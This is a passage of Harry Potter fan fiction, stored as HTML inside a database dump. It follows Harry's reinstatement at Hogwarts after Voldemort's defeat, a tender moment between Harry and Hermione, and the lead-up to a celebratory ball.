class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Giant\nfirebird?&#8221; Hermione gasped, staring up at her boyfriend.&nbsp; She knew about\nHarry&#8217;s secret, but she&#8217;d never actually seen his power.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I&#8217;ll\nexplain later, okay?&#8221; Harry pleaded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Come\non, pal, how&#8217;d you do it?&#8221; Ron prodded.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\ndon&#8217;t know, really!&nbsp; I just felt these words inside my head and said\nthem.&nbsp; Next minute&#8230;bam!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Jeez\nHarry, remind me never to get you angry!&#8221; Lavender chuckled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry&#8217;s\nsharp eyes picked up movement in the corner of the room.&nbsp; Draco Malfoy\nstood with a scowl on his face.&nbsp; He was standing next to a bed, and the\noccupant was heavily bandaged.&nbsp; Suddenly, Harry realized that it was in\nfact Lucius Malfoy.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What&#8217;s\nMalfoy doing here?&#8221; Ron growled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Leave\nhim alone,&#8221; Harry stated.&nbsp; His friends looked at him in shock. &#8220;He may be\na pain, but his father&#8217;s hurt right now so let him deal with it in his own\nway.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Surprising\neveryone, Harry got up out of bed and slowly walked over to where Draco Malfoy\nstood.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;What\ndo you want, Potter?&#8221; the blonde, young man hissed menacingly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nwanted to apologize!&#8221; That made everyone gasp.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;For\nwhat?&#8221; Harry took a deep breath.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nshould&#8217;ve stopped your father without hurting him this much.&nbsp; I was just\nso angry that I lost control.&nbsp; Look, I know that we&#8217;ll never be friends,\nbut I don&#8217;t want to be enemies all the time either.&nbsp; You probably hate me\nright now, but at least know that I never wanted to hurt you or your father.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;It\ndoesn&#8217;t matter what you think, Potter, you just got lucky.&nbsp; My father got\ncaught off guard &#8211; nothing more.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nshook his head in resignation; sometimes it was just impossible to reason with\npeople.&nbsp; Malfoy was still too proud and arrogant to accept the fact that\nhis family had lost so decisively.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The\nyoung wizard returned to his friends, and Ron looked at him like he was\ncompletely nuts.&nbsp; Even Hermione had a hard time not trying to stare at him\nstrangely.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\nwhy in bloody hell did you apologize to him?&#8221; Ron groaned and crossed his\narms.&nbsp; His best friend sat back down on the bed next to Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Look\nRon, Malfoy&#8217;s an arrogant jerk; I won&#8217;t argue with you on that.&nbsp;\nBut&#8230;regardless of how he acts, no one should be forced to see their parents\nlike that.&nbsp; I never knew my parents, and even if Draco&#8217;s father is a\nhundred times worse than he is, Lucius is still his father.&nbsp; I didn&#8217;t\napologize for fighting his father; I apologized for losing control of my\ntemper.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;You&#8217;re\ntoo noble for your own good,&#8221; Hermione teased and clutched his hand.&nbsp; She\npecked him on the cheek, and Harry blushed slightly.&nbsp; He wrapped his arms\naround her once again and cradled her in his lap.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Dobby\ncame by the infirmary a little over an hour later with Harry&#8217;s clothes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Here\nyou are, Harry Potter, Dobby and Winky fix your clothes in record time!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thanks\na lot, tell Winky I said hi,&#8221; Harry said with a smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Of\ncourse, I go help prepare dinner now.&nbsp; Goodbye!&#8221; The little, house elf\ndisappeared out the door.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nquickly dressed and gave Hermione a soft kiss before heading for the\nheadmaster&#8217;s office.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nPotter walked past the gargoyle and into Dumbledore&#8217;s office.&nbsp; Seated\ninside were, Remus, Moody, Sirius, Dumbledore at his desk, and Minister Fudge.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Ah\nHarry, you&#8217;re looking better I see,&#8221; Dumbledore stated with a small smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Blimey,\nya dun good, my boy!&#8221; Moody laughed drunkenly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry\nPotter&#8230;&#8221; It was Fudge who spoke this time, &#8220;&#8230;you could be imprisoned for what\nyou have learned and so could everyone else here for allowing you to learn such\npowerful magic at your age.&nbsp; However, I see that you have mastered your\nskills quite well so I will not take action concerning that.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thank\nyou, sir,&#8221; Harry answered with a sigh.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;The\nonly other remaining matter is that you violated your expulsion by returning to\nHogwarts.&nbsp; You defied a direct order from the Ministry of Magic!&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Minister\nFudge, I came back here to help my friends.&nbsp; Voldemort existed because of\nme, and it was my responsibility to see that he was destroyed&#8230;once and for\nall.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\nsee, and are you prepared to accept the consequences of your actions?&#8221;\nCornelius asked with a slight glare.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;If\nhelping those in need and protecting the ones you love is a crime, then yes, I\nam guilty.&#8221; Fudge&#8217;s glare turned into a wide grin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Albus\nwas right, Harry, you have grown into quite a man.&nbsp; However, I still see\nthat you are quite wild and need to be taught a bit more discipline.&nbsp;\nTherefore, the ministry has unanimously decreed that you will be allowed to return\nto Hogwarts for your seventh year.&nbsp; During that time, I expect you to\nlearn some respect.&nbsp; Do I make myself clear?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Sir,\nare you serious?&nbsp; Am I really allowed to come back?&#8221; Dumbledore stepped\nin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes,\nHarry, your reinstatement is effective immediately, and your marks for your\ncurrent term will be based on the work that you did prior to your\ndeparture.&nbsp; The only thing left for you to do before this term ends is to\ntake the N. E. W. T. S, and I trust that Miss Granger and Mr. Weasley can help\nwith that.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes\nsir!&#8221; Harry nearly shouted.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry&#8230;&#8221;\nFudge spoke up once again, &#8220;&#8230;in addition to your reinstatement, the Ministry of\nMagic is also awarding you the Order of Merlin for you courage and efforts.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;I\ncannot accept that, Minister Fudge.&#8221; Everyone in the room gawked at him.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Harry,\nwhat are you saying?&#8221; Sirius gasped.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Are\nyou mad, boy?&#8221; Moody chimed in.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;How\ncan you refuse that?&#8221; Remus added.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Cornelius\nFudge just stood there in shock.&nbsp; He was bestowing a great honor on the young\nwizard, but he had declined it.&nbsp; Why?</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;If\nI may&#8230;&#8221; Harry interrupted, &#8220;&#8230;I don&#8217;t deserve to receive that\ncommendation.&nbsp; Too many people helped me win this battle.&nbsp; Nothing\nthat I&#8217;ve achieved could have been done alone.&nbsp; Even my magical power was\nenhanced by Professor Dumbledore&#8217;s phoenix.&nbsp; I can&#8217;t take credit for other\npeople&#8217;s work.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Do\nyou understand what you&#8217;re saying, young Potter?&#8221; Fudge asked incredulously.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Yes\nsir, I do.&nbsp; What I suggest is that if you truly want to award it to me\nthen wait.&nbsp; Wait several years and judge my merit on things that have\nnothing to do with Voldemort.&nbsp; My reputation and fame is based solely on\nthe fact that I stopped the Dark Lord.&nbsp; I don&#8217;t want to be known for that;\nI want to start fresh and build my own life.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Well,\nif that is your wish, then I will not deny it.&#8221; Cornelius was at a loss for\nwords; this young man was truly amazing.&nbsp; Now, he finally understood why\nHarry Potter was so special; his soul was pure.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;If\nthat is all, Cornelius, I suggest we allow Harry to go so that he can begin\nstudying.&nbsp; Your things should have been returned to your room by now so\nyou may go now, Harry,&#8221; Dumbledore said with a crooked grin.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&#8220;Thank\nyou, professor.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry\nhad to stop himself from running out of the room.&nbsp; He couldn&#8217;t believe it;\nhe was allowed to come back to Hogwarts!&nbsp; It was too good to be\ntrue.&nbsp; He couldn&#8217;t wait to tell Hermione.&nbsp; After everything that had\nhappened lately, she could use some good news.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n\n\n\n\n\n'),
	(162, 19, ' <p>Disclaimer:&nbsp; I do not own the characters of Harry Potter.&nbsp; They are the property of&nbsp;&nbsp; J. K. Rowling.</p>\n\n<p>Harry bolted down to the hospital wing and nearly threw the door off its hinges. Madam Pomfrey scowled at him as he raced in, but he just ignored her.</p>\n\n<p>&#8220;Where&#8217;d Hermione go?&#8221; he gasped, noting that her bed was empty, and her things were gone.</p>\n\n<p>&#8220;That stubborn girl! She insisted on leaving; there was nothing that I could do.&#8221;</p>\n\n<p>&#8220;Sounds like Herm, thanks!&#8221; Harry flew back out the door.</p>\n\n<p>Harry raced up to the Gryffindor tower and nearly ran over several students on his way up to the dormitories. He burst into Hermione&#8217;s room, and she snapped around with a screech.</p>\n\n<p>&#8220;Harry, don&#8217;t you knock!&#8221; she gasped. </p>\n\n<p>It happened that she was in the middle of changing, and all that covered her body was just a button-down shirt and her lingerie. Before she could object, he slammed the door and swept her off her feet. Harry was laughing his head off, and Hermione was getting dizzy.</p>\n\n<p>&#8220;Put me down, you dope!&#8221;</p>\n\n<p>&#8220;Sorry, but I&#8217;m just happy!&#8221; he piped up.</p>\n\n<p>&#8220;I can see that; now tell me why?&#8221;</p>\n\n<p>&#8220;I&#8217;m back, Herm, I&#8217;m back to stay!&#8221; Harry said with a huge smile.</p>\n\n<p>&#8220;What are you talking about?&#8221;</p>\n\n<p>&#8220;Minister Fudge reinstated me at Hogwarts!&#8221; The smile on Hermione&#8217;s face could have outshone a star.</p>\n\n<p>&#8220;Harry!&#8221; she cried and threw her arms around him, &#8220;You&#8217;re really back to stay!&#8221;</p>\n\n<p>&#8220;Yup, you&#8217;re stuck with me, sweetheart.&#8221;</p>\n\n<p>&#8220;You&#8217;ll have to work really hard to be ready for exams, but I&#8217;ll help you study.&#8221;</p>\n\n<p>At that moment, Harry&#8217;s eyes darkened, and Hermione felt herself melting under his intense gaze. She knew this look from him; she&#8217;d seen it several times during the night they&#8217;d spent together.</p>\n\n<p>&#8220;Hermione, I see something that I want to study right now.&#8221; He cupped her cheek in his hand and bent down to kiss her lips.</p>\n\n<p>Within a second, her arms were around his neck, and she was lost in his arms. Hermione pressed up against him, and they both groaned as their injuries interrupted their intimacy.</p>\n\n<p>&#8220;Oh Harry, we can&#8217;t do this now; I look horrible!&#8221;</p>\n\n<p>&#8220;Hush,&#8221; he quieted, &#8220;you&#8217;re beautiful, my Hermione.&#8221;</p>\n\n<p>Without hesitation, Harry picked her up and laid her down on her bed. With a snap of his fingers, the door locked and was sealed magically. No one was going to walk in on them this time.</p>\n\n<p>Harry claimed her mouth in a heated kiss; he&#8217;d waited ages to kiss her like this again. Hermione was powerless under his spell and clung to him desperately. His tongue swarmed around her mouth, dueling with hers in a lovers&#8217; dance, and his fingers began undoing her shirt. Unfortunately, Harry let a little too much of his weight down on her, and Hermione let out a groan of pain.</p>\n\n<p>&#8220;Um&#8230;&#8221; Harry immediately broke away, and he saw her close her mouth trying not to moan in agony. It was then that he decided.</p>\n\n<p>&#8220;Sweetheart, we need to stop; I can&#8217;t do this to you. I know you want to, but you&#8217;re hurt badly.&#8221; He moved off of her body and lay down next to her.</p>\n\n<p>Hermione turned towards him with tears in her eyes.</p>\n\n<p>&#8220;I&#8217;m sorry, Harry, I&#8217;m sorry that we can&#8217;t be together.&#8221;</p>\n\n<p>&#8220;Hush, my love, there&#8217;s no need to apologize. Don&#8217;t worry, our time will come; I promise you.&#8221;</p>\n\n<p>Harry gently wrapped his arms around her, and Hermione carefully settled herself into his embrace. She situated herself so that her ribs wouldn&#8217;t hurt and laid her head on his shoulder.</p>\n\n<p>&#8220;Harry, can I ask you something?&#8221;</p>\n\n<p>&#8220;Sure Herm, anything.&#8221; She looked up at him with her big, brown eyes.</p>\n\n<p>&#8220;Well, I was wondering&#8230;would you like to come to my house for the summer?&#8221;</p>\n\n<p>&#8220;You mean stay with your family?&#8221;</p>\n\n<p>&#8220;That would be implied, yes,&#8221; Hermione giggled.</p>\n\n<p>&#8220;Hmm,&#8221; Harry&#8217;s eyebrows crooked up as he thought about it, &#8220;I&#8217;d love to &#8211; if your parents wouldn&#8217;t mind.&#8221;</p>\n\n<p>&#8220;I don&#8217;t think they would. I&#8217;d already sent a letter to my mom asking if a friend could stay with us for the summer. When she&#8217;d agreed, I&#8217;d admitted that it was guy not a girl, and she&#8217;d immediately asked if it was a boyfriend.&#8221;</p>\n\n<p>&#8220;What&#8217;d you say?&#8221;</p>\n\n<p>&#8220;I told her that it was my boyfriend, and I felt that she and my dad should meet him. The next thing I know, my mom says yes. So, you can come if you want. You think your aunt and uncle will let you?&#8221;</p>\n\n<p>&#8220;Are you nuts? Do you how happy they&#8217;ll be to be rid of me for the summer? I can go to their house for the first couple of days, then you and your parents can pick me up.&#8221;</p>\n\n<p>&#8220;That sounds great. I know that my parents will love you &#8211; just like I do.&#8221; Hermione nuzzled his neck playfully.</p>\n\n<p>&#8220;I hope not like you, or I&#8217;ll be in serious trouble!&#8221; Harry chuckled.</p>\n\n<p>&#8220;Hey!&#8221; she gasped, and her head popped up, &#8220;Get your mind out of the gutter, Potter!&#8221;</p>\n\n<p>&#8220;Yes mom.&#8221;</p>\n\n<p>&#8220;Don&#8217;t start with me, love, you know you can&#8217;t win an argument with me.&#8221;</p>\n\n<p>&#8220;Sure, I can, I just have to shut you up.&#8221; Before Hermione could say anything, Harry covered her mouth with his. He caressed her cheek while drinking from her sweet lips.</p>\n\n<p>&#8220;Harry&#8230;&#8221; Hermione sighed as he kissed her neck, &#8220;&#8230;I&#8217;m gonna regret saying this, but I need to get dressed. We have a lot of work to do if you&#8217;re gonna be ready for final exams.&#8221; The young man lifted his head from her neck and smiled tenderly.</p>\n\n<p>&#8220;Okay sweetheart,&#8221; Harry gave her one last kiss and helped her to sit up, &#8220;I wait for you down in the common room.&#8221;</p>\n\n<p>He reluctantly let Hermione go and unlocked the door. Giving her a soft smile, Harry exited her room and headed down the stairs. </p>\n\n<p>Hermione took a deep breath to clear her head then dug through her drawers looking for a skirt to wear to dinner. She quickly finished dressed and grabbed her Gryffindor robes off her chair. Nearly bouncing down the stairs, Hermione headed for the common room to meet up with Harry.</p>\n\n<p>&#8220;Thank God that&#8217;s over!&#8221; Ron groaned as he, Harry, and Hermione exited Snape&#8217;s dungeon. They&#8217;d just finished their last exam &#8211; Potions. It had been brutal this time and had bordered on cruel and unusual punishment.</p>\n\n<p>&#8220;Oh c&#8217;mon, Ron, it wasn&#8217;t that bad. I actually found it rather easy,&#8221; Hermione said with smile.</p>\n\n<p>&#8220;You would, Herm, your brain&#8217;s a bottomless pit when it comes to information. Us normal people ain&#8217;t so lucky.&#8221;</p>\n\n<p>&#8220;At least, we&#8217;re done with exams, Ron.&#8221;</p>\n\n<p>&#8220;Harry&#8217;s right! Besides, aren&#8217;t you forgetting the special ball we&#8217;re having tonight?&#8221; Ron perked up at Hermione&#8217;s reminder.</p>\n\n<p>&#8220;No, I didn&#8217;t forget. Guess I was just preoccupied. Besides, I haven&#8217;t seen Lavender all day anyway.&#8221;</p>\n\n<p>As if fate could hear his words, Lavender came out of the door leading to the astronomy tower, and she smiled brightly at seeing her friends.</p>\n\n<p>&#8220;Hi handsome,&#8221; she cooed softly and pecked Ron on the lips. The young man blushed slightly as Harry and Hermione tried to keep a straight face.</p>\n\n<p>&#8220;I missed you,&#8221; Ron whispered in her ear. Lavender giggled happily and nuzzled his neck.</p>\n\n<p>&#8220;Jeez Ron, and you complain about Herm and I,&#8221; Harry mock groaned and smacked his hand against his forehead.</p>\n\n<p>&#8220;Buzz off, Potter, I&#8217;m busy right now!&#8221; his best friend said with a sarcastic tone.</p>\n\n<p>&#8220;All right, you two, enough squabbling. So Lavender, did you find a dress for tonight?&#8221; Hermione asked.</p>\n\n<p>&#8220;Yeah, I found one when we went to Hogsmeade a few days ago. How &#8216;bout you?&#8221;</p>\n\n<p>&#8220;I&#8217;m all set. I never got a chance to wear mine yet.&#8221; Hermione&#8217;s eyes turned towards Harry, and he knew what she was talking about.</p>\n\n<p>&#8216;Oh man, if she&#8217;s talking about the dress I&#8217;m thinking about, this is gonna be a great night.&#8217; Harry smiled slyly, and his girlfriend winked at him.</p>\n\n<p>&#8220;Okay, what gives? Why are you two grinning like Cheshire cats?&#8221; Ron asked with his arms crossed.</p>\n\n<p>&#8220;Just a personal joke,&#8221; they both said at the same time.</p>\n\n<p>The whole wizarding was in an uproar when news of Voldemort&#8217;s demise circulated throughout the world. There had been celebrating, celebrating, and more celebrating. It had been going on for a week now, and it seemed to not have even gotten started yet.</p>\n\n<p>At Hogwarts, Professor Dumbledore had arranged a ball for the students and professors. It was to celebrate the ending of the Dark Lord&#8217;s reign, a way to make up to the seventh year students for ruining their graduation, and unofficially, to welcome Harry Potter back to Hogwarts.</p>\n\n<p>When Minister Fudge had wanted to publicly thank him for defeating Voldemort once and for all, Harry had immediately declined it. He didn&#8217;t want to make a spectacle of himself in front of all the students. He was modest by nature, and the last thing he wanted was for everyone to think he was a snob.</p>\n\n<p>Although they weren&#8217;t used to such a large venture this late in the year, the house elves did not complain and immediately went to work preparing the lavish meal for the party.</p>\n\n<p>Harry and Ron sat in the Gryffindor common room waiting for their dates to come down the stairs. Harry had chosen a pair of black dress slacks, black leather shoes with a white trim along the sides, a black turtleneck, and a green sweater. He&#8217;d also put in his contacts for the evening so his green eyes shown brilliantly in the firelight. His dress robes hung loosely around his shoulders as he leaned up against the wall. Ron decided to go with a pair of dark khaki pants, brown boat shoes, a white button-down dress shirt, and a black vest. The sound of footsteps coming down the stairs drew the young men&#8217;s attention, and Lavender entered the room.</p>\n\n<p>&#8220;Wow!&#8221; Ron&#8217;s jaw hit the floor.</p>\n\n<p>She was dressed in a slinky, red dress that could match Ron&#8217;s hair color exactly. She had on red high heels and a dark shade of red lipstick that made her lips look quite enticing to a certain young Weasley.</p>\n\n<p>&#8220;Hey you,&#8221; Lavender teased and shut his mouth for him.</p>\n\n<p>&#8220;Uh&#8230;uh&#8230;hi&#8230;gosh&#8230;you look&#8230;I don&#8217;t know what to say!&#8221;</p>\n\n<p>&#8220;Then you like it?&#8221; Ron&#8217;s eyes glittered mischievously.</p>\n\n<p>&#8220;I love it, and I love you.&#8221; He caught her lips with a soft kiss, and Lavender wrapped her arms his neck.</p>\n\n<p>&#8220;Hmm, that was nice, but we&#8217;d better wipe your mouth off,&#8221; she laughed, noting that Ron&#8217;s lips were now quite red with her lipstick.</p>\n\n<p>&#8220;You look great, Lavender,&#8221; Harry said with a friendly smile.</p>\n\n<p>&#8220;Thanks,&#8221; she replied and blushed.</p>\n\n<p>&#8220;Anybody miss me?&#8221; Harry&#8217;s eyes lit up when he recognized the voice, and he turned his head towards the stairs.</p>\n\n<p>There stood Hermione in that same tight, black dress. She was supposed to have worn it to the Winter Ball, but she and Harry decided to stay in that night. She gracefully descended the stairs, and Harry extended his arm.</p>\n\n<p>&#8220;You look beautiful, sweetheart.&#8221; Her cheeks flushed slightly, and Hermione kissed him 